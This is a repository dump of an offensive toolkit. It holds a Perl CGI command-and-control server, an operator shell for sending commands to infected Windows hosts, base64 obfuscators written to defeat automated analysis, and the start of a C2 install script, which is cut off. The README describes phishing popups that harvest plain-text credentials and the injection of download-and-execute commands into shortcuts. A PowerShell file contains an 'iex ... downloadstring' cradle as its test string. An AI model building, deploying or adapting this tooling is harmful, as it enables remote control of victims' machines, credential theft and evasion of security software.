├── LICENSE ├── README.md ├── async-shell-handler ├── LICENSE ├── README.md ├── async-client.ps1 ├── cgi-shell-handler.pl ├── cli.pl ├── functions │ ├── base64-obfuscate.pl │ └── ps-base64-obfuscate.ps1 ├── install.sh ├── lighttpd.conf └── tcp-client.ps1 ├── base64-tcp-shell ├── LICENSE ├── README.md ├── b64-tcp-client.ps1 ├── b64-tcp-handler.pl └── wmi-stager.vbs ├── boot2own ├── ABOUT ├── COPYING ├── CREDITS-B2O ├── LICENSE ├── README.md ├── b2o-compile.sh ├── b2o-isogen.sh ├── b2o-pxe.sh ├── live-files │ ├── boot-2-own │ │ ├── b2o-autopwn.sh │ │ └── creddump │ │ │ ├── CHANGELOG │ │ │ ├── COPYING │ │ │ ├── README │ │ │ ├── cachedump.py │ │ │ ├── framework │ │ │ ├── __init__.py │ │ │ ├── __init__.pyc │ │ │ ├── addrspace.py │ │ │ ├── addrspace.pyc │ │ │ ├── newobj.py │ │ │ ├── newobj.pyc │ │ │ ├── object.py │ │ │ ├── object.pyc │ │ │ ├── types.py │ │ │ ├── types.pyc │ │ │ └── win32 │ │ │ │ ├── __init__.py │ │ │ │ ├── __init__.pyc │ │ │ │ ├── domcachedump.py │ │ │ │ ├── hashdump.py │ │ │ │ ├── hashdump.pyc │ │ │ │ ├── lsasecrets.py │ │ │ │ ├── rawreg.py │ │ │ │ └── rawreg.pyc │ │ │ ├── lsadump.py │ │ │ └── pwdump.py │ ├── pld2 │ └── pld3 ├── srcs │ ├── samba-4.0.4.tar.gz │ ├── samba-hashpass.patch │ └── winexe-waf.tar.gz └── system_migrate.rb ├── gen-obfuscated ├── LICENSE ├── README.md ├── gen-obfuscated.pl └── tcp-client.ps1 ├── iac2 ├── README.md ├── cli_shell.pl ├── iaa-monitor.pl ├── inital-access-agent.ps1 ├── initial-access-agent.py ├── lighttpd.conf └── setup-iac2.sh ├── mkatz-obfuscator ├── LICENSE ├── README.md ├── launcher.ps1 └── ps1-obfuscator.ps1 ├── ps-batchfile ├── ps12bat.ps1 ├── ps12bat_v2.ps1 ├── ps12bat_v3.ps1 ├── readme.md └── rsh.ps1 └── ps-obfuscate ├── LICENSE ├── PSobfuscator.ps1 └── README.md /LICENSE: -------------------------------------------------------------------------------- 1 | Each individual code release will have is own independent software license. 2 | -------------------------------------------------------------------------------- /async-shell-handler/README.md: -------------------------------------------------------------------------------- 1 | # async-shell-handler 2 | asynchronous multi-shell handler 3 | 4 | Includes a server side cgi application and a powershell client. 5 | It performs handeling of systems that have executed the async-client 6 | script. This allows the individual running the server hosting the 7 | cgi to enter shell commands to be executed by clients asynchronously. 8 | 9 | The information is exchanged in an encoded format, the secure nature 10 | directly relies upon the use of SSL/TLS. 11 | 12 | # Install 13 | 14 | Developed for use on a regular Ubuntu 14.04 LTS server distro. 15 | To get it working run the installer as root. 16 | 17 | ``` 18 | ./install.sh 19 | ``` 20 | 21 | ## use 22 | 23 | The info of individual systems is stored in /var/async-shell/systems and is 24 | assigned to www-data as owner and group. 25 | 26 | ### cli.pl 27 | 28 | This provides a basic command shell to interact with systems running 29 | the client. 30 | 31 | To have the server host powershell scripts to be loaded using the exec-script 32 | function place them in /var/async-shell/ps-scripts with to correct permissions 33 | www-data as owner and group. 34 | 35 | Additional functions have been added to the client that can be called within 36 | a shell session. 37 | 38 | * show-help 39 | shows the following function info from a shell session. 40 | 41 | * get-info 42 | Displays a summary of current host 43 | 44 | * exec-script "name-of-script" 45 | Executes script hosted server side in /var/async-shell/ps-scripts by IEX 46 | requires the name of the script filename as a parameter. 47 | 48 | * obfuscate "name of text file / script" 49 | Uses a polyalphabetic obfuscation method on base64 strings writes obfuscated 50 | string to file and provides a de-obfuscation key. 51 | 52 | * de-obfuscate "(name of text file / script), (key)" 53 | Performs the inverse of the obfuscation function requires the text file with the 54 | obfuscated base64 data and de-obfuscation key as parameters. 55 | 56 | * gen-key 57 | generates a random alphabetic string for use with the obfuscate-base64 function. 58 | 59 | * obfuscate-base64 "(action:hide or clear ), (key: obfuscation or de-ofuscation), (base64-string)" 60 | The function that contains the obfuscation engine, it works only with clear base64 data. 61 | 62 | * byte-encode ( binary-to-obfuscate, key ) 63 | Performs byte-encoding prior to converting to obfuscated base64 provide key de-obfuscation. 64 | 65 | * byte-decode ( file-containing-obfu-base64, key ) 66 | performs the reverse of byte-encode, requires the de-obfuscation key. 67 | 68 | * askfor-creds 69 | Performs some social engineering inorder to aquire plain-text credentials. This is done 70 | by generating a authentication popup which seems to reconnect to a network share. 71 | 72 | * gen-enccmd "your command string" 73 | Generates a PowerShell formatted encoded command. Insure to quote your command 74 | string. 75 | 76 | ``` 77 | gen-enccmd "cmd /c ipconfig /all" 78 | ``` 79 | 80 | * shortcut-inject "name-of-lnk" "Url-hosting-script" 81 | Modifies the specified shortcut to run the original program and also execute a download 82 | and execute command string. Ex: "Google Chrome.lnk" "http://some-doman[.]com/hello.ps1" 83 | Requires the http:// or https:// in the URL. 84 | 85 | 86 | ### caveats 87 | Depending on your command structure and use of special characters you may need 88 | to encapsulate your command string in a variable before passing to this function. 89 | ``` 90 | $cmdstring = 'cmd /c ipconfig /all' ; gen-enccmd $cmdstring 91 | ``` 92 | 93 | * dec-enccmd [Your encoded command string ] 94 | Decodes the base64 string and displays the original string. 95 | 96 | Note: depending on the command executed by the client there may be no 97 | stdout, this will leave the client hanging expecting a response and you 98 | will have to restart it to reset it. 99 | 100 | to use just run 101 | ``` 102 | ./cli.pl 103 | ``` 104 | to exit ctrl-c 105 | 106 | If you feel this is a bit too unpredictable you will have to 107 | use echo and tail. 108 | 109 | ``` 110 | null-pc www # ls -l /var/ 111 | drwxr-xr-x 2 www-data www-data 4096 Sep 15 00:22 systems 112 | ``` 113 | 114 | Inside this folder will contain the hostname of the machine runing the 115 | powershell client script. 116 | 117 | This will create a folder named after the hostname and it's mac 118 | address. 119 | 120 | ``` 121 | null-pc systems # ls -l 122 | drwxr-xr-x 2 www-data www-data 4096 Sep 15 00:46 ZERO-PC-08-00-27-30-15-25 123 | ``` 124 | 125 | In this folder will be two files named command and stdout. Their names 126 | denote their purpose. 127 | 128 | ``` 129 | null-pc ZERO-PC-08-00-27-30-15-25 # ls -l 130 | -rw-r--r-- 1 www-data www-data 7 Sep 15 00:46 command 131 | -rw-r--r-- 1 www-data www-data 15 Sep 15 00:46 stdout 132 | null-pc ZERO-PC-08-00-27-30-15-25 # echo 'dir' > command 133 | null-pc ZERO-PC-08-00-27-30-15-25 # tail -f stdout 134 | 135 | Directory: C:\Users\zero\Desktop 136 | 137 | 138 | Mode LastWriteTime Length Name 139 | ---- ------------- ------ ---- 140 | -a--- 9/17/2015 6:14 PM 11378 basic-macro-test.docx 141 | -a--- 9/17/2015 6:58 PM 11376 test-self-signed-iex.docx 142 | ``` 143 | Created to be used along with gen-obfuscated 144 | 145 | For more info http://nightowlconsulting.com/asynchronous-shell-handler/ 146 | -------------------------------------------------------------------------------- /async-shell-handler/cgi-shell-handler.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | # 3 | # a cgi multi shell handler 4 | # 5 | # functions as a comm channel for clients by 6 | # printing base64 encoded commands to a web page for 7 | # parsing by client application, Use with https to 8 | # help prevent request tampering. 9 | # xor-function 10 | # license MIT 11 | 12 | use CGI; 13 | use strict; 14 | use warnings; 15 | use File::Path qw(make_path remove_tree); 16 | use MIME::Base64; 17 | 18 | $CGI::POST_MAX=1024 * 2000; 19 | 20 | # decodes a url safe bas64 encoded string 21 | sub proc_decurl { 22 | 23 | my $raw_string = $_[0]; 24 | $raw_string =~ tr/!/=/; 25 | $raw_string =~ tr/_/\//; 26 | $raw_string =~ tr/-/+/; 27 | my $dec_string = decode_base64($raw_string); 28 | 29 | return $dec_string; 30 | } 31 | 32 | # encodes command with base64 before printing to webpage 33 | sub proc_enccmd { 34 | 35 | my $string = $_[0]; 36 | my $enc_string = encode_base64($string); 37 | 38 | return $enc_string; 39 | 40 | } 41 | 42 | # generates random string 43 | sub rstring { 44 | 45 | my @chr = ("A".."Z", "a".."z"); 46 | my $rloop = int(35); 47 | my $rstring; 48 | 49 | while ($rloop != 0) { 50 | 51 | $rstring .= $chr[int(rand(52))]; 52 | $rloop--; 53 | } 54 | 55 | return $rstring; 56 | 57 | } 58 | 59 | # check if file exits then compares contents of file with supplied key 60 | # returns a success or failure 61 | sub auth_client { 62 | 63 | my $cgi = $_[0]; 64 | my $auth_file = $_[1]; 65 | 66 | # Authentication here 67 | if (!defined($cgi->param('auth'))) { die "[!] fail!\n"; } 68 | my $rawkey = $cgi->param('auth'); 69 | 70 | my $key = proc_decurl($rawkey); 71 | 72 | chomp($key); 73 | 74 | open(my $fh, '<', $auth_file); 75 | my $line = <$fh>; 76 | close $fh; 77 | 78 | my $output = $line; 79 | 80 | chomp($output); 81 | 82 | if ( $output eq $key ) { return "win"; } 83 | else { return "fail"; } 84 | 85 | } 86 | 87 | # subroutine that handles parameters 88 | sub get_param{ 89 | 90 | my $cdir = "/var/async-shell/systems/"; 91 | my $sdir = "/var/async-shell/ps-scripts/"; 92 | my $pass = "init-pass"; 93 | my $pass_file = $cdir . $pass; 94 | my $param_out; 95 | 96 | # my $sanitize = "a-zA-Z0-9_.-"; 97 | 98 | # create cgi object 99 | my $q = CGI->new(); 100 | 101 | # Accepted params, ignore anything else 102 | if (defined( $q->param('reg')) ) { 103 | 104 | # Authentication here 105 | my $reg_status = auth_client($q, $pass_file); 106 | if ( $reg_status eq 'fail' ) { die "[!] fail!\n"; } 107 | 108 | my $enc_new_host = $q->param('reg'); 109 | my $new_host = proc_decurl($enc_new_host); 110 | my $full_path = $cdir . $new_host; 111 | 112 | # setup dir struct for specific host 113 | if ( ! -d $full_path ) { 114 | 115 | make_path($full_path) or die "folder creation failed\n"; 116 | 117 | my $cmdfilepath = $full_path . '/command'; 118 | 119 | open(my $fh, '+>', "$cmdfilepath" ); 120 | print $fh "echo 77774444\n"; 121 | close $fh; 122 | 123 | my $outfilepath = $full_path . '/stdout'; 124 | 125 | open( $fh, '+>', "$outfilepath" ); 126 | print $fh "\n"; 127 | close $fh; 128 | 129 | $param_out = $new_host . ' host set'; 130 | 131 | } else { 132 | $param_out = 'hostname already present'; 133 | } 134 | 135 | } # get parameter asks server for current command to execute 136 | elsif (defined( $q->param('get')) ) { 137 | 138 | # Authentication here 139 | my $get_status = auth_client($q, $pass_file); 140 | if ( $get_status eq 'fail' ) { die "[!] fail!\n"; } 141 | 142 | # printing command 143 | my $enc_host = $q->param('get'); 144 | my $host = proc_decurl($enc_host); 145 | my $full_path = $cdir . $host; 146 | my $filepath = $full_path . '/command'; 147 | 148 | if ( -e $filepath ) { 149 | 150 | open(my $fh, '<', $filepath); 151 | my $line = <$fh>; 152 | close $fh; 153 | 154 | $param_out = $line; 155 | } 156 | 157 | } 158 | elsif (defined($q->param('data'))) { 159 | 160 | # setup authentication here 161 | my $get_status = auth_client($q, $pass_file); 162 | if ( $get_status eq 'fail' ) { die "[!] fail!\n"; } 163 | 164 | if (!defined($q->param('host'))) { die "[!] no hostname found!\n"; } 165 | 166 | my $enc_data = $q->param('data'); 167 | my $data = proc_decurl($enc_data); 168 | 169 | my $enc_host = $q->param('host'); 170 | my $host = proc_decurl($enc_host); 171 | 172 | my $full_path = $cdir . $host; 173 | my $filepath = $full_path . '/stdout'; 174 | 175 | if ( -e $full_path ) { 176 | 177 | open(my $fh, '+>', $filepath); 178 | print $fh $data; 179 | print $fh "\n"; 180 | close $fh; 181 | 182 | $param_out = 'updated stdout for ' . $host . "\n"; 183 | } 184 | 185 | } 186 | elsif (defined( $q->param('ld')) ) { 187 | 188 | # basic auth here 189 | my $get_status = auth_client($q, $pass_file); 190 | if ( $get_status eq 'fail' ) { die "[!] fail!\n"; } 191 | 192 | # printing command 193 | my $enc_script = $q->param('ld'); 194 | my $script = proc_decurl($enc_script); 195 | my $filepath = $sdir . $script; 196 | 197 | # load entire script into single variable 198 | if ( -e $filepath ) { 199 | 200 | my $code; 201 | { 202 | open my $fh, '<', $filepath; 203 | $code = do { local $/; <$fh> }; 204 | } 205 | $param_out = $code; 206 | } 207 | 208 | } # Trap to catch unwanted request types 209 | else { 210 | return; 211 | } 212 | 213 | return $param_out; 214 | 215 | } 216 | 217 | # subroutine parameter wrapper 218 | sub main { 219 | 220 | my @params = @_; 221 | 222 | # perform encoding before printing to page 223 | my $result = get_param(@params); 224 | if (!defined($result)) { 225 | print '404 not found...' . "\n"; 226 | } 227 | else { 228 | my $enc_cmd = proc_enccmd($result); 229 | print $enc_cmd; 230 | } 231 | 232 | } 233 | 234 | # Insure these files exist or fail to run 235 | if ( ! -d '/var/async-shell/' ) { die '[!] the async-shell folder was not found in /var !' . "\n"; } 236 | if ( ! -e '/var/async-shell/systems/init-pass' ) { die '[!] init-pass file was not found in /var/async-shell/systems/ !' . "\n"; } 237 | 238 | # run main 239 | main(@ARGV); 240 | -------------------------------------------------------------------------------- /async-shell-handler/cli.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | # 3 | # async shell-handler client command shell 4 | # GPLv3 5 | # xor-function 6 | 7 | use strict; 8 | use File::Path qw(make_path rmtree); 9 | 10 | if ($> != 0 ) { die "[!] you must run this as root!\n"; } 11 | 12 | sub banner { 13 | 14 | print '[]===========================================================[]'."\n"; 15 | print '[]async shell handler command shell ver.02 []'."\n"; 16 | print '[] GPLv3 []'."\n"; 17 | print '[]===========================================================[]'."\n\n"; 18 | 19 | } 20 | 21 | # host dir is now /var/async-shell/systems/ 22 | sub gen_hosts { 23 | 24 | my $hosts_dir = '/var/async-shell/systems/'; 25 | my @contents = grep -d, <$hosts_dir*>; 26 | 27 | return @contents; 28 | } 29 | 30 | 31 | sub list_hosts { 32 | 33 | my @hosts = @_; 34 | my @systems; 35 | foreach (@hosts) { 36 | my ($root, $var, $main, $sys, $host) = split '/', $_; 37 | push @systems, $host; 38 | } 39 | 40 | my $value = '0'; 41 | foreach (@systems) { 42 | print '[' . $value . ']' . '-> ' . $_ . "\n"; 43 | $value ++ 44 | } 45 | print "\n"; 46 | 47 | my $selection; 48 | my $opt; 49 | 50 | while (1) { 51 | 52 | print "[*] Select system number you wish to execute commands in.\n"; 53 | $selection = ; 54 | chomp($selection); 55 | 56 | while (1) { 57 | 58 | if ( $selection !~ /[0-9]/g ) { 59 | print "[!] Thats not a number! Try again.\n"; 60 | $selection = ; 61 | chomp($selection); 62 | } 63 | elsif (!defined($systems[$selection])) { 64 | print "[!] Thats not on the list! Try again.\n"; 65 | $selection = ; 66 | chomp($selection); 67 | } 68 | else { last;} 69 | 70 | } 71 | 72 | print "[+] you entered: [ $selection ]\n"; 73 | print "[?] Is this correct? (yes/no)?\n"; 74 | 75 | $opt = ; 76 | chomp($opt); 77 | 78 | if ($opt =~ /y/i or $opt =~ /yes/i ) { 79 | last; 80 | } 81 | elsif ($opt =~ /n/i or $opt =~ /no/i ) { 82 | print "[!] Re-enter selection.\n"; 83 | } 84 | else { print "[*] Input not understood, re-enter option.\n"; } 85 | 86 | }#end while 87 | 88 | return $systems[$selection]; 89 | 90 | } 91 | 92 | sub proc_cmds { 93 | 94 | my $client = $_[0]; 95 | my $client_path = '/var/async-shell/systems/' . $client; 96 | 97 | my $command = $client_path . '/command'; 98 | my $stdout = $client_path . '/stdout'; 99 | 100 | my $cmd_string; 101 | my $opt; 102 | while (1) { 103 | print "[*] Enter the command you wish to execute in $client.\n"; 104 | print "[!] Warning the async-client does not support running\n"; 105 | print "[!] the same command in a row, this is to prevent an \n"; 106 | print "[!] execution loop.\n\n"; 107 | print "[*] Press Enter when done:\n"; 108 | $cmd_string = ; 109 | chomp($cmd_string); 110 | 111 | print "[+] you entered: [ $cmd_string ]\n"; 112 | print "[?] Is this correct? (yes/no)?\n"; 113 | 114 | $opt = ; 115 | chomp($opt); 116 | 117 | if ($opt =~ /y/i or $opt =~ /yes/i ) { 118 | last; 119 | } 120 | elsif ($opt =~ /n/i or $opt =~ /no/i ) { 121 | print "[!] Re-enter selection.\n"; 122 | } 123 | else { print "[*] Input not understood, re-enter option.\n"; } 124 | 125 | } # end while 126 | 127 | my $lastmod = (stat($stdout))[9]; 128 | my $chkmod = (stat($stdout))[9]; 129 | 130 | open (my $fh, '+>', "$command" ); 131 | print $fh $cmd_string; 132 | close $fh; 133 | 134 | # Test for stability 135 | if ( $cmd_string =~ /exit/i ) { 136 | print '[*] Waiting 20 secs for client to receive exit command...' . "\n"; 137 | sleep(20); 138 | rmtree($client_path); 139 | # Return "no". Automatically returns shell to selection menu. 140 | return 'no'; 141 | 142 | } else { 143 | 144 | # waiting for client to upload executed command result. 145 | while ( $lastmod eq $chkmod ) { 146 | print "[*] Waiting for response from client...\n"; 147 | $chkmod = (stat($stdout))[9]; 148 | sleep(4); 149 | } 150 | 151 | # Reading Response 152 | print "[+] Got Response!\n"; 153 | open(my $rfh, '<', "$stdout"); 154 | while (<$rfh>) { print $_; } 155 | close $rfh; 156 | 157 | undef $opt; 158 | while (1) { 159 | 160 | print "[*] Do you wish to execute another command?\n"; 161 | print "[*] Or select another client? [yes/no]\n"; 162 | 163 | $opt = ; 164 | chomp($opt); 165 | 166 | if ($opt =~ /y/i or $opt =~ /yes/i ) { 167 | last; 168 | } 169 | elsif ($opt =~ /n/i or $opt =~ /no/i ) { 170 | print "[!] exiting to selection menu...\n"; 171 | return 'no'; 172 | last; 173 | } else { print "[*] Input not understood, re-enter option.\n"; } 174 | 175 | 176 | } # end while 177 | 178 | } 179 | 180 | 181 | } 182 | 183 | sub main { 184 | 185 | while (1) { 186 | 187 | while (!gen_hosts()) { 188 | print "[!] No client has reported in yet, waiting...\n"; 189 | sleep(5); 190 | } 191 | 192 | print "[!] Avaliable hosts running the async-client.\n\n"; 193 | my @sys_hosts = gen_hosts(); 194 | my $client = list_hosts(@sys_hosts); 195 | 196 | while (1) { 197 | my $choice = proc_cmds($client); 198 | if ( $choice eq 'no' ) { last; } 199 | } 200 | 201 | }# end while 202 | 203 | } 204 | 205 | 206 | banner(); 207 | main(); 208 | exit(0); 209 | -------------------------------------------------------------------------------- /async-shell-handler/functions/base64-obfuscate.pl: -------------------------------------------------------------------------------- 1 | #!/usr/bin/perl 2 | # 3 | # base64 obfuscator 4 | # 5 | # Encodes a raw string into base64 then uses a polyalphabetic 6 | # routine to shift only the alaphabetic characters using a 7 | # random alpabetic key. The purpose behind this is to force 8 | # manual cracking to get the original base64 encoded data. 9 | # 10 | # xor-function, license GPLv3 11 | 12 | 13 | use strict; 14 | use warnings; 15 | use MIME::Base64; 16 | 17 | sub enc_string { 18 | 19 | my $string = $_[0]; 20 | # Passing an empty string to encode_base64 to prevent any newlines 21 | my $enc_string = encode_base64($string, ''); 22 | 23 | return $enc_string; 24 | 25 | } 26 | 27 | # requires a true base64 encoded string, use after deobfuscating 28 | sub dec_string { 29 | 30 | my $raw_string = $_[0]; 31 | my $dec_string = decode_base64($raw_string); 32 | 33 | return $dec_string; 34 | } 35 | 36 | # requires integer which determines character length of string 37 | sub gen_key { 38 | 39 | my $lenght = $_[0]; 40 | 41 | my @chr = ("A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", 42 | "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z" 43 | ); 44 | 45 | my $rloop = int($lenght); 46 | 47 | my $rstring; 48 | while ($rloop != 0) { 49 | $rstring .= $chr[int(rand(26))]; 50 | $rloop--; 51 | } 52 | 53 | return $rstring; 54 | } 55 | 56 | # function obfuscates base64 encoded string using a polyalphabetic cipher 57 | # routing to defeat automated analysis engines. 58 | sub obfuscate_base64 { 59 | 60 | my $action = $_[0]; 61 | my $key = $_[1]; 62 | my $string = $_[2]; 63 | 64 | my %alpha = ( "1" => "A", 65 | "2" => "B", 66 | "3" => "C", 67 | "4" => "D", 68 | "5" => "E", 69 | "6" => "F", 70 | "7" => "G", 71 | "8" => "H", 72 | "9" => "I", 73 | "10" => "J", 74 | "11" => "K", 75 | "12" => "L", 76 | "13" => "M", 77 | "14" => "N", 78 | "15" => "O", 79 | "16" => "P", 80 | "17" => "Q", 81 | "18" => "R", 82 | "19" => "S", 83 | "20" => "T", 84 | "21" => "U", 85 | "22" => "V", 86 | "23" => "W", 87 | "24" => "X", 88 | "25" => "Y", 89 | "26" => "Z", 90 | ); 91 | 92 | my %inv_alpha = reverse %alpha; 93 | 94 | my @strg_array = split(//, $string); 95 | my @key_array = split(//, $key); 96 | 97 | my $obase64; 98 | my $count = 0; 99 | foreach my $ch (@strg_array) { 100 | 101 | if ( $ch =~ /[a-z,A-Z]/m ) 102 | { 103 | 104 | my $uch = uc $ch; 105 | my $ival = $inv_alpha{$uch}; 106 | my $s = $key_array[$count]; 107 | 108 | unless ($s) { $count = 0; $s = $key_array[0]; } # reset key to beginging 109 | 110 | my $S = uc $s; 111 | my $shift_val = $inv_alpha{$S}; 112 | 113 | my $val; 114 | if ( $action =~ /hide/m ) 115 | { $val = int($ival) + int($shift_val); } 116 | else { $val = int($ival) - int($shift_val); } 117 | 118 | 119 | if ( int($val) < '1' ) { $val = int($val) + int(26) } 120 | if ( int($val) > '26' ) { $val = int($val) - int(26) } 121 | 122 | my $nchar = $alpha{$val}; 123 | 124 | if ( $ch =~ /[a-z]/m ) 125 | { my $lchar = lc $nchar; $obase64 .= $lchar; } 126 | else { my $uchar = uc $nchar; $obase64 .= $uchar; } 127 | 128 | $count++; 129 | 130 | } else { $obase64 .= $ch; } 131 | } 132 | 133 | return $obase64; 134 | 135 | } 136 | 137 | 138 | sub main { 139 | 140 | my $string = $_[0]; 141 | 142 | my $clear_b64 = enc_string($string); 143 | my $key = gen_key("70"); 144 | 145 | # obfuscate and de-ofuscate data to test integrity of obfuscated data, debugging 146 | my $ob64 = obfuscate_base64( 'hide', $key, $clear_b64 ); 147 | my $clear_ob64 = obfuscate_base64 ( 'clear', $key, $ob64 ); 148 | my $clear_string = dec_string($clear_ob64); 149 | 150 | # print "[ clear string ] : $string \n"; 151 | # print "[ clear base64 ] : $clear_b64"; 152 | print "\n[ obfuscated base64 ]\n $ob64"; 153 | # print "[ clear base64 ] : $clear_ob64"; 154 | print "\n[ clear string ]\n $clear_string"; 155 | print "\n[ key ]\n $key \n\n"; 156 | } 157 | 158 | if (@ARGV < 1 || @ARGV > 1) { print "[!] usage: ./base64-obfuscate.pl [your string or variable that contains a string] \n"; exit(); } 159 | main(@ARGV); 160 | -------------------------------------------------------------------------------- /async-shell-handler/functions/ps-base64-obfuscate.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | 3 | the powershell code to perform 4 | obfuscation de-obfuscation of base64 data. 5 | 6 | #> 7 | 8 | 9 | function base64-encode { 10 | param($string) 11 | $encoded = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.getbytes($string)) 12 | return $encoded 13 | } 14 | 15 | function base64-decode { 16 | param($string) 17 | $decoded = [System.Text.Encoding]::UTF8.getString([System.Convert]::Frombase64String($string)) 18 | return $decoded 19 | } 20 | 21 | function gen-key { 22 | $rs = New-Object System.Random 23 | 1..40 | % { $key += [Char]$rs.next(97,122) } 24 | $kstring = [string]::join("", ($key)) 25 | return $kstring 26 | } 27 | 28 | # action = hide or clear 29 | # key = encrpytion or decryption string 30 | # string = base64 string to either be encrypted or decrypted 31 | 32 | function obfuscate-base64( $action, $key, $string ) { 33 | 34 | 35 | $alpha = @{ "1" = "A"; 36 | "2" = "B"; 37 | "3" = "C"; 38 | "4" = "D"; 39 | "5" = "E"; 40 | "6" = "F"; 41 | "7" = "G"; 42 | "8" = "H"; 43 | "9" = "I"; 44 | "10" = "J"; 45 | "11" = "K"; 46 | "12" = "L"; 47 | "13" = "M"; 48 | "14" = "N"; 49 | "15" = "O"; 50 | "16" = "P"; 51 | "17" = "Q"; 52 | "18" = "R"; 53 | "19" = "S"; 54 | "20" = "T"; 55 | "21" = "U"; 56 | "22" = "V"; 57 | "23" = "W"; 58 | "24" = "X"; 59 | "25" = "Y"; 60 | "26" = "Z"; 61 | } 62 | 63 | $inv_alpha = @{} 64 | 65 | # create another hash table like alpha but with inverted values 66 | foreach ($l in $alpha.Keys ) { $inv_alpha.add($alpha[$l],$l)} 67 | 68 | $count = 0 69 | foreach ($ch in $string.GetEnumerator()) 70 | { 71 | 72 | $c = [string]$ch 73 | if ( $c -match '[a-zA-Z]') 74 | { 75 | 76 | $ival = $inv_alpha[$c] 77 | $s = $key[$count] 78 | 79 | if (!$s) { $count = 0; $s = $key[0] } # reset key to begining 80 | 81 | # juggling variable formats between integer and string methods 82 | $ss = [string]$s 83 | $S = $ss.ToUpper() 84 | $shift = $inv_alpha[$S] 85 | 86 | if ($action -match 'hide' ) 87 | { $val = [int]$ival + [int]$shift } 88 | else { $val = [int]$ival - [int]$shift } 89 | 90 | if ( [int]$val -lt '1' ) { $val = [int]$val + '26' } 91 | if ( [int]$val -gt '26' ) { $val = [int]$val - '26' } 92 | 93 | # juggling variable formats between integer and string methods 94 | $sval = [string]$val 95 | $char = $alpha[$sval] 96 | $schar = [string]$char 97 | 98 | if ( $c -cmatch '[a-z]' ) 99 | { $cipher = $schar.ToUpper(); $ncipher += [string]::join("", ($cipher)) } 100 | elseif ( $c -cmatch '[A-Z]' ) 101 | { $cipher = $schar.ToLower(); $ncipher += [string]::join("", ($cipher)) } 102 | 103 | $count++ 104 | 105 | } else { $ncipher += [string]::join("", ($c)) } 106 | 107 | } 108 | 109 | $scipher = [string]$ncipher 110 | return $scipher 111 | } 112 | 113 | $test = "cmd /c powershell -c iex (new-object system.net.webclient).downloadstring('https://domain.com')" 114 | $b = base64-encode $test 115 | 116 | write-output "base64: $b" 117 | $k = gen-key 118 | 119 | $ob = obfuscate-base64 hide $k $b 120 | write-output "enc : $ob" 121 | 122 | $dob = obfuscate-base64 clear $k $ob 123 | write-output "base64: $dob" 124 | 125 | $clear = base64-decode $dob 126 | write-output "clear : $clear" 127 | -------------------------------------------------------------------------------- /async-shell-handler/install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # setup command and control server (C&C/C2/etc..) 4 | # via the async-shell-handler cgi app 5 | # 6 | # xor-function 7 | 8 | title() { 9 | 10 | echo "[*]===============================================================[*]" 11 | echo "[*] async-shell-handler ver .02 GPLv3 [*]" 12 | echo "[*] [*]" 13 | echo "[*] Installing... xor-function [*]" 14 | echo "[*]===============================================================[*]" 15 | 16 | } 17 | 18 | # func requires args: username 19 | chk_usr() { 20 | if [ "$(whoami)" != "$1" ]; then 21 | echo "[!] you need to be root, exiting..." 22 | exit 23 | fi 24 | } 25 | 26 | chk_tubes() { 27 | echo "[*] Checking your tubes..." 28 | if ! ping -c 1 google.com > /dev/null 2>&1 ; then 29 | if ! ping -c 1 yahoo.com > /dev/null 2>&1 ; then 30 | if ! ping -c 1 bing.com > /dev/null 2>&1 ; then 31 | echo "[!] Do you have an internet connection?, exiting..." 32 | exit 1 33 | fi 34 | fi 35 | fi 36 | echo "[+] tubes working..." 37 | } 38 | 39 | # func requires argument 40 | get_aptpkg() { 41 | 42 | tpkg=$(dpkg -s $1 | grep "install ok install") 43 | if [ -z "$tpkg" ]; then 44 | 45 | if [ -z $aptup ]; then 46 | # rm -rf /var/lib/apt/lists/* 47 | apt-get update 48 | aptup=1 49 | fi 50 | 51 | echo "[*] installing $1" 52 | if ! apt-get -y install $1; then 53 | echo "[!] APT failed to install "$1", are your repos working? Exiting..." 54 | exit 1 55 | fi 56 | 57 | else 58 | 59 | echo "[+] $1 is already installed" 60 | fi 61 | } 62 | 63 | get_permission() { 64 | while true; do 65 | printf "\n" 66 | read ansr 67 | case $ansr in 68 | [Yy] ) break;; 69 | [Nn] ) echo "[!] exiting..."; exit;; 70 | * ) echo "[!] Not a valid entry, please answer y or n";; 71 | esac 72 | done 73 | echo "Continuing..." 74 | 75 | } 76 | 77 | # Uses a foldername, directory as a parameter 78 | folder_perm() { 79 | chown www-data:www-data $1 80 | chmod 755 $1 81 | } 82 | 83 | 84 | # uses a filename as a parameter 85 | file_perm() { 86 | chown www-data:www-data $1 87 | chmod 644 $1 88 | } 89 | 90 | rstr_short() { 91 | echo $(cat /dev/urandom | tr -dc '[:alnum:]' | head -c 8 ) 92 | } 93 | 94 | rstr_long() { 95 | echo $(cat /dev/urandom | tr -dc _A-Z-a-z-0-9 | head -c 30 | base64) 96 | } 97 | 98 | clear 99 | title 100 | chk_usr root 101 | chk_tubes 102 | 103 | if [ ! -e ./lighttpd.conf ]; then 104 | echo "[!] could not find the lighttpd.conf file, cannot continue..." 105 | echo "[ ] exiting..." 106 | exit 1 107 | elif [ ! -e ./cgi-shell-handler.pl ];then 108 | echo "[!] could not find the cgi-shell-handler.pl file, cannot continue..." 109 | echo "[ ] exiting..." 110 | exit 1 111 | elif [ ! -e ./async-client.ps1 ]; then 112 | echo "[!] could not find the client file, cannot continue..." 113 | echo "[ ] exiting..." 114 | exit 1 115 | fi 116 | 117 | if [ -e /etc/lighttpd/lighttpd.conf ]; then 118 | echo "[!] lighttpd has been detected on your system" 119 | echo "[ ] the configuration files and ssl folder for lighttpd will be overwritten." 120 | echo "[ ] for the shell-handler. If you do NOT wish to continue take a look at the SSL" 121 | echo "[ ] setting in the included lighttpd.conf for the ssl settings." 122 | echo "[ ] continue? (y/n)" 123 | get_permission 124 | if [ -d /etc/lighttpd/ssl ]; then 125 | rm -rf /etc/lighttpd/ssl 126 | fi 127 | fi 128 | 129 | if [ -d /var/async-shell ]; then 130 | echo "[!] async-shell folder detected, folder contains info about systems runing the client" 131 | echo "[ ] by proceeding this folder will be deleted" 132 | echo "[ ] continue? (y/n)" 133 | get_permission 134 | rm -rf /var/async-shell 135 | fi 136 | 137 | get_aptpkg 